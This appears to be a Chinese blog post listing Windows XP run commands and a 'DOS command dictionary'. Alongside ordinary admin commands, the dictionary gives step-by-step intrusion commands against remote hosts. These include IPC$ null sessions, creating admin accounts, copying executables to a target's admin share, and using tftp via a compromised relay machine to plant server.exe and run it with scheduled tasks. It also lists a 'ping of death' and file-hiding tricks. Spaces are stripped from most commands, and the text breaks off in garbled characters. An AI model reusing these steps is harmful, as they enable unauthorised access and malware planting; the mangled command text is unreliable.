Windows下常用的命令，大家用了多少？

我用过一部分，整理出来，就当是用作速查手册吧。

winver检查Windows版本
dxdiag检查DirectX信息
mem.exe显示内存使用情况
Sndvol32音量控制程序
sfc.exe系统文件检查器
gpedit.msc组策略
regedit.exe注册表
msconfig.exe系统配置实用程序
mstsc远程桌面连接
notepad打开记事本
cmd.exeCMD命令提示符
MSINFO32系统信息

XP总命令集合
sc-------------查看常用服务
orgwinver------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnowsmediaplayer
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令

dxdiag---------检查DirectX信息
drwtsn32------系统医生
devmgmt.msc---设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器

netstopmessenger-----停止信使服务
netstartmessenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat-an----(TC)命令检查接口

syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保
护windowsxp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc/scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器

eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器

packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器

regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce-p----15秒关机
regsvr32/u*.dll----停止dll文件运行
regsvr32/uzipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQLSERVER客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------垃圾整理
ciadv.msc------索引服务程序

osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe/a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令

iexpress-------木马捆绑工具，系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略   

DOS命令字典..收藏

netuse/ip/ipc$""/user:""建立IPC空链接

netuse/ip/ipc$"密码"/user:"用户名"建立IPC非空链接

netuseh:/ip/c$"密码"/user:"用户名"直接登陆后映射对方C：到本地为H:

netuseh:/ip/c$登陆后映射对方C：到本地为H:

netuse/ip/ipc$/del删除IPC链接

netuseh:/del删除映射对方到本地的为H:的映射

netuser用户名密码/add建立用户

netuserguest/active:yes激活guest用户

netuser查看有哪些用户

netuser帐户名查看帐户的属性

netlocalgroup***istrators用户名/add把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数

netstart查看开启了哪些服务

netstart服务名开启服务；(如:netstarttelnet，netstartschedule)

netstop服务名停止某服务

nettime/目标ip查看对方时间

nettime/目标ip/set设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

netview查看本地局域网内开启了哪些共享

netview/ip查看对方局域网内开启了哪些共享

netconfig显示系统网络设置

netlogoff断开连接的共享

netpause服务名暂停某服务

netsendip"文本信息"向对方发信息

netver局域网内正在使用的网络连接类型和信息

netshare查看本地开启的共享

netshareipc$开启ipc

netshareipc$/del删除ipc

netsharec$/del删除C：共享

netuserguest12345用guest用户登陆后用将密码改为12345

netpassword密码更改系统登陆密码

netstat-a查看开启了哪些端口,常用netstat-an

netstat-n查看端口的网络连接情况，常用netstat-an

netstat-v查看正在进行的工作

netstat-p协议名例：netstat-ptcq/ip查看某协议使用情况（查看tcp/ip协议使用情况）

netstat-s查看正在使用的所有协议使用情况

nbtstat-Aip对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写

tracert-参数ip(或计算机名)跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。

pingip(或域名)向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。

ping-t-l65550ip死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig(winipcfg)用于windowsNT及XP(windows9598)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息

tlist-t以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

kill-F进程名加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)

del-F文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR*.*”表示删除当前目录下所有只读文件，“DEL/A-S*.*”表示删除当前目录下除系统文件以外的所有文件

#2二：

del/S/Q目录或用：rmdir/s/Q目录/S删除目录及目录下的所有子目录和文件。同时使用参数/Q可取消删除操作时的系统确认就直接删除。（二个命令作用相同）

move盘符/路径/要移动的文件名存放移动文件的路径/移动后文件名移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fcone.txttwo.txt>3st.txt对比二个文件并把不同之处输出到3st.txt文件中，">"和">>"是重定向命令

atid号开启已注册的某个计划任务

at/delete停止所有计划任务，用参数/yes则不需要确认就直接停止

atid号/delete停止某个已注册的计划任务

at查看所有的计划任务

at/iptime程序名(或一个命令)/r在某时间运行对方某程序并重新启动计算机

fingerusername@host查看最近有哪些用户登陆

telnetip端口远和登陆服务器,默认端口为23

openip连接到IP（属telnet登陆后的命令）

telnet在本机上直接键入telnet将进入本机的telnet

copy路径/文件名1路径/文件名2/y复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件

copyc:/srv.exe/ip/***$复制本地c:/srv.exe到对方的***下

cppy1st.jpg/b+2st.txt/a3st.jpg将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件

copy/ip/***$/svv.exec:/或:copy/ip/***$/*.*复制对方***i.exe文件（所有文件）至本地C：

xcopy要复制的文件或目录树目标地址/目录名复制文件和目录树，用参数/Y将不提示覆盖相同文件

tftp-i自己IP(用肉机作跳板时这用肉机IP)getserver.exec:/server.exe登陆后，将“IP”的server.exe下载到目标主机c:/server.exe参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i则以ASCII模式（传送文本文件模式）进行传送

tftp-i对方IPputc:/server.exe登陆后，上传本地c:/server.exe至主机

ftpip端口用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)

routeprint显示出IP路由，将主要显示网络地址Networkaddres，子网掩码Netmask，网关地址Gatewayaddres，接口地址Interface

arp查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息

start程序名或命令/max或/min新开一个新窗口并最大化（最小化）运行某程序或命令

mem查看cpu使用情况

attrib文件名(目录名)查看某文件（目录）的属性

attrib文件名-A-R-S-H或+A+R+S+H去掉(添加)某文件的存档，只读，系统，隐藏属性；用＋则是添加为某属性

dir查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间

date/t、time/t使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间

set指定环境变量名称=要指派给变量的字符设置环境变量

set显示当前所有的环境变量

setp(或其它字?/ca>